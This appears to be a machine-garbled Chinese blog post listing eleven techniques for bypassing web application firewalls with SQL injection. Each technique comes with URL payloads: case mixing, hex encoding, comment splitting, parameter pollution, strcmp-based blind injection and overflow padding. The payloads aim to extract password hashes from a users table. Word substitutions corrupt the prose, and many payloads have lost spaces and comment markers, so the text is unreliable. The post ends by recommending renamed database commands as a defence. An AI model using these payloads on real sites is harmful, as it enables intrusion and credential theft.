当所有的系统安然防御做好后,剩下生怕就是SQL注进,跨站报复打击等等web利用层防御了,这也是广大年夜站长最困扰的东东了,几日前写的“安然宝构架手艺猜想与高级收集安然防御”讲授了一种最简单的高机能防御方编制,按照本身的环境略微点窜下,便可以应付大年夜部门的报复打击了,可是就万事大年夜吉了吗?
起首我们回顾下网上牛人是如何冲破waf防御:
1.大年夜小写绕过
这个大年夜家都很熟谙,对一些太垃圾的WAF结果较着,好比反对了union,那就利用UnionUnIoN等等绕过。
2.简单编码绕过
好比WAF检测关头字,那么我们让他检测不到便可以了。好比检测union,那么我们就用U也就是U的16进制编码来代替U,union写成UnION,连络大年夜小写也能够绕过一些WAF,你可以随便替代一个或几个都可以。
也还有大年夜家在Mysql注进中好比表名或是load文件的时辰,会把文件名或是表白用16进制编码来绕过WAF都是属于这类。
3.注释绕过
这类环境比较少,合用于WAF只是过滤了一次危险的语句,而没有阻断我们的全部查询。
01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…
可以看到,只要我们把敏感词放到注释里面,寄望,前面要加一个!
4.分隔重写绕过
仍是上面的例子,合用于那种WAF采取了正则表达式的环境,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。
我们可以经由过程注释分隔敏感字,如许WAF的正则不起感化了,而带进查询的时辰其实不影响我们的成果。
01./?id=1+union+select+1,2,3--
至于重写绕过,合用于WAF过滤了一次的环境,和我们上传aaspsp马的道理一样,我们可以写出近似Ununionion如许的。过滤一次union后就会履行我们的查询了。
01.?id=1ununionionselect1,2,3--
5.Http参数污染(HPP)
好比我们有如许的语句:
01./?id=1unionselect+1,2,3+from+users+where+id=1--
我们可以反复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:
01./?id=1unionselect+1&id=2,3+from+users+where+id=1--
这类环境成功的前提比较多,取决于具体的WAF实现。
再给出一个例子申明用法:
01./?id=1unionselectpwdfromusers--
具体阐发的话就触及到查询语句的后台代码的编写了。
好比办事器是如许写的:
01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];
那我们可以机关如许的注进语句:
01./?a=1+unionselect+1,passfrom+users--
最终解析为:
01.select*fromtablewherea=1unionselect1,passfromusers--
可以看到,这类编制其实比较合适白盒测试,而对黑盒渗入的话,用起来比较麻烦。可是也能够一试。
6.利用逻辑运算符or/and绕过
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
趁便诠释一下第二句话,从最里面的括号开端阐发,select+pwd+from+users+limit+1,1这句是从users表里查询pwd字段的第一笔记实,好比是admin,
然后mid(上一句),1,1就是取admin的第一个字符,也就是a,
lower(上一句)就是把字符转换为小写,
然后ascii就是把a转换成ascii码,看等不便是74。
7.比较把持符替代
包含!=不便是,<>不便是,<小于,>大年夜于,这些都可以用来替代=来绕过。
好比上一个例子,要鉴定是不是是74,假定=被过滤,那么我们可以鉴定是不是是大年夜于73,是不是是小于75,然后就知道是74了。。良多WAF城市忘了这个。
8.同功能函数替代
Substring()可以用mid(),substr()这些函数来替代,都是用来取字符串的某一名字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替代。Benchmark()可以用sleep()来替代,这两个利用在基于延时的盲注中,有机缘给大年夜家介绍。
假定连这些都樊篱了,还有一种新的编制:
01.substring((select'password'),1,1)=0x70
02.substr((select'password'),1,1)=0x70
03.mid((select'password'),1,1)=0x70
好比这三条,都是从password里鉴定第一个字符的值,可以用:
01.strcmp(left('password',1),0x69)=1
02.strcmp(left('password',1),0x70)=0
03.strcmp(left('password',1),0x71)=-1
来替代,left用来取字符串左起1位的值,strcmp用来比较两个值,假定比较成果相等就为0,左边小的话就为-1,不然为1。
还有我前几篇说过的group_concat和concat和concat_ws也能够彼此替代。
9.盲注无需or和and
好比有如许一个注进点:
01.index.php?uid=123
and、or被过滤了,其实有一种更直接的编制,我们直接点窜123为我们的语句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时辰页面是准确的,我们此刻在盲猜hash的第一名,假定第一名便是0x42也就是B,那么strcmp成果为0,0+123=123,所以页面应当是准确的。不然就申明不是B,就如许猜,不消and和or了。
10.加括号
01./?id=1+union+(select+1,2+from+users)
好比,上面这一条被WAF反对了。可以尝尝加一些括号:
01./?id=1+union+(select+1,2+from+***)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过
这个是从国外一个博客看到的:
01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
此中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。
以上就是网上哄传的冲破编制,本人没时候往试,也不想往试,这里有一个标题问题,为甚么会有千千万万个缝隙,报复打击编制,防不堪防,有没有一个底子的编制解决所有已知,未知的缝隙报复打击呢?
其实回根到底,我们用的linuxwinmysql等等都是他人开辟的,不是本身的东西,开源的好处就是你可以用,可是你不好保密!所以要解决标题问题,还得从软件,系统的开辟开端,哪怕简单的二次开辟都可以防御良多报复打击:
1,假定本身能对mysql进行二次开辟,把所有的selectunion号令简单的改名,改成没有人知道的只有你本身知道的名字,你用担忧sql注进吗?
2,假定本身对mysql进行二次开辟,改变sql尺度,逻辑,你还怕orand注进吗?
3,假定本身定义一套本身的开辟说话,不消甚么cphp你还怕甚么好处吗?
4,大年夜范围定制改革linux把所有的号令,系统调用经行二次开辟,你还怕黑客进侵吗?人家连ls号令都不知道如何弄!
当然有背开源精力,可是此刻良多的闭源软件,防火墙早就这么干了,说白了,保密的东东,最安然,本身创作发现的东东,才是最靠得住的,事实你可以随便定制更改,随便扩大开辟!当然假定没有这个手艺前提我们可以这么做,让黑客解体到底!
1,完全丢弃mysqlmongodb等有sql注进风险的数据库,采取redis或其他简单的能知足你当前营业的nosql数据库,其实要逻辑,要甚么触发功能,请用luaphp实现,断根所有没有效的功能,就和linux权限一样颗粒化一切,不要的,无用的十足丢掉落,一个不剩!
2,对当前采取linux系统nginxapache等等,全数进行源代码简单点窜,核心功能算法不克不及更改,我们就不克不及更改号令名称,用户ui接口?打个例如把mysql的select号令和各类对应的编码调用名称改掉落,哪里来的sql注进呢?
好了,希看大年夜家参考就好,千万不要把系统改的脸孔全非,连本身都用不了,撑持开源,不要仅仅逗留在利用层,我们仍是要尽力成为开源软件开辟者,或多提出本身的立异建议,任何工作不要盲目往跟风,人家用,你也取用,够用就好是一种简单而高深的哲学。